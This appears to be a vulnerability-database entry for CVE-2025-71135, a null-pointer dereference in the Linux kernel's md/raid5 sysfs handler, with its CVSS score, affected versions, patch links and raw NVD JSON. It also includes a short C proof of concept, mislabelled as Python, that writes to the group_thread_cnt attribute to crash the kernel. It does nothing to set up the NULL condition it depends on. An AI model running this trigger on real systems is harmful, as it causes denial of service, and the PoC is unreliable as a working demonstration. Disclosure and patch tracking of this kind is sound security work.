Security Vulnerability Report
中文
CVE-2025-71135 CVSS 5.5 MEDIUM

CVE-2025-71135

Published: 2026-01-14 15:16:03
Last Modified: 2026-03-25 18:03:48
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: md/raid5: fix possible null-pointer dereferences in raid5_store_group_thread_cnt() The variable mddev->private is first assigned to conf and then checked: conf = mddev->private; if (!conf) ... If conf is NULL, then mddev->private is also NULL. In this case, null-pointer dereferences can occur when calling raid5_quiesce(): raid5_quiesce(mddev, true); raid5_quiesce(mddev, false); since mddev->private is assigned to conf again in raid5_quiesce(), and conf is dereferenced in several places, for example: conf->quiesce = 0; wake_up(&conf->wait_for_quiescent); To fix this issue, the function should unlock mddev and return before invoking raid5_quiesce() when conf is NULL, following the existing pattern in raid5_change_consistency_policy().

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.13:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 20597b7229aea8b5bc45cd92097640257c7fc33b
Linux Kernel < 7ad6ef91d8745d04aff9cce7bdbc6320d8e05fe9
Linux Kernel < e5abb6af905de6b2fead8a0b3f32ab0b81468a01

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-71135 PoC - Linux Kernel md/raid5 Null Pointer Dereference * This PoC demonstrates triggering the vulnerability through sysfs interface * Requires: Local access with permission to configure md devices */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #define SYSFS_MD_PATH "/sys/block/md*/md/" #define GROUP_THREAD_CNT_FILE "group_thread_cnt" int trigger_null_ptr_deref(const char* md_device) { char path[256]; char value[32]; int fd; /* Construct path to group_thread_cnt sysfs attribute */ snprintf(path, sizeof(path), "/sys/block/%s/md/group_thread_cnt", md_device); /* Open the sysfs attribute for writing */ fd = open(path, O_WRONLY); if (fd < 0) { perror("Failed to open group_thread_cnt"); return -1; } /* Write a value to trigger the vulnerable code path */ /* The vulnerability occurs when mddev->private is NULL */ snprintf(value, sizeof(value), "4\n"); if (write(fd, value, strlen(value)) < 0) { perror("Write failed - may indicate null pointer dereference"); } close(fd); return 0; } int main(int argc, char* argv[]) { const char* md_device = "md0"; if (argc > 1) { md_device = argv[1]; } printf("[*] CVE-2025-71135 PoC\n"); printf("[*] Target: %s\n", md_device); printf("[*] Attempting to trigger null pointer dereference...\n"); /* Trigger conditions: * 1. RAID5 array in degraded state or not fully initialized * 2. mddev->private (conf) is NULL * 3. Write to group_thread_cnt sysfs attribute */ trigger_null_ptr_deref(md_device); printf("[*] PoC execution completed\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-71135", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-14T15:16:03.277", "lastModified": "2026-03-25T18:03:48.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmd/raid5: fix possible null-pointer dereferences in raid5_store_group_thread_cnt()\n\nThe variable mddev->private is first assigned to conf and then checked:\n\n conf = mddev->private;\n if (!conf) ...\n\nIf conf is NULL, then mddev->private is also NULL. In this case,\nnull-pointer dereferences can occur when calling raid5_quiesce():\n\n raid5_quiesce(mddev, true);\n raid5_quiesce(mddev, false);\n\nsince mddev->private is assigned to conf again in raid5_quiesce(), and conf\nis dereferenced in several places, for example:\n\n conf->quiesce = 0;\n wake_up(&conf->wait_for_quiescent);\n\nTo fix this issue, the function should unlock mddev and return before\ninvoking raid5_quiesce() when conf is NULL, following the existing pattern\nin raid5_change_consistency_policy()."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nmd/raid5: corrige posibles desreferencias de puntero nulo en raid5_store_group_thread_cnt()\n\nLa variable mddev-&gt;private se asigna primero a conf y luego se comprueba:\n\n conf = mddev-&gt;private;\n if (!conf) ...\n\nSi conf es NULL, entonces mddev-&gt;private también es NULL. En este caso,\npueden ocurrir desreferencias de puntero nulo al llamar a raid5_quiesce():\n\n raid5_quiesce(mddev, true);\n raid5_quiesce(mddev, false);\n\nya que mddev-&gt;private se asigna a conf de nuevo en raid5_quiesce(), y conf\nse desreferencia en varios lugares, por ejemplo:\n\n conf-&gt;quiesce = 0;\n wake_up(&amp;conf-&gt;wait_for_quiescent);\n\nPara solucionar este problema, la función debería desbloquear mddev y retornar antes de\ninvocar raid5_quiesce() cuando conf es NULL, siguiendo el patrón existente\nen raid5_change_consistency_policy()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12.4", "versionEndExcluding": "6.12.64", "matchCriteriaId": "83E69705-B66F-47BA-A2AE-39F4F6BFA244"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13.1", "versionEndExcluding": "6.18.4", "matchCriteriaId": "CBCED124-82AE-4EDB-9676-27C3B654451E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.13:-:*:*:*:*:*:*", "matchCriteriaId": "5A3F9505-6B98-4269-8B81-127E55A1BF00"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:*", "matchCriteriaId": "17B67AA7-40D6-4AFA-8459-F200F3D7CFD1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:*", "matchCriteriaId": "C47E4CC9-C826-4FA9-B014-7FE3D9B318B2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:*", "matchCriteriaId": "F71D92C0-C023-48BD-B3B6-70B638EEE298"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc4:*:*:*:*:*:*", "matchCriteriaId": "13580667-0A98-40CC-B29F-D12790B91BDB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc5:*:*:*:*:*:*", "matchCriteriaId": "CAD1FED7-CF48-47BF-AC7D-7B6FA3C065FC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc6:*:*:*:*:*:*", "matchCriteriaId": "3EF854A1-ABB1-4E93-BE9A-44569EC76C0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc7:*:*:*:*:*:*", "matchCriteriaId": "F5DC0CA6-F0AF-4DDF-A882-3DADB9A886A7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc8:*:*:*:*:*:*", "matchCriteriaId": "EB5B7DFC-C36B-45D8-922C-877569FDDF43"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/20597b7229aea8b5bc45cd92097640257c7fc33b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7ad6ef91d8745d04aff9cce7bdbc6320d8e05fe9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e5abb6af905de6b2fead8a0b3f32ab0b81468a01", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}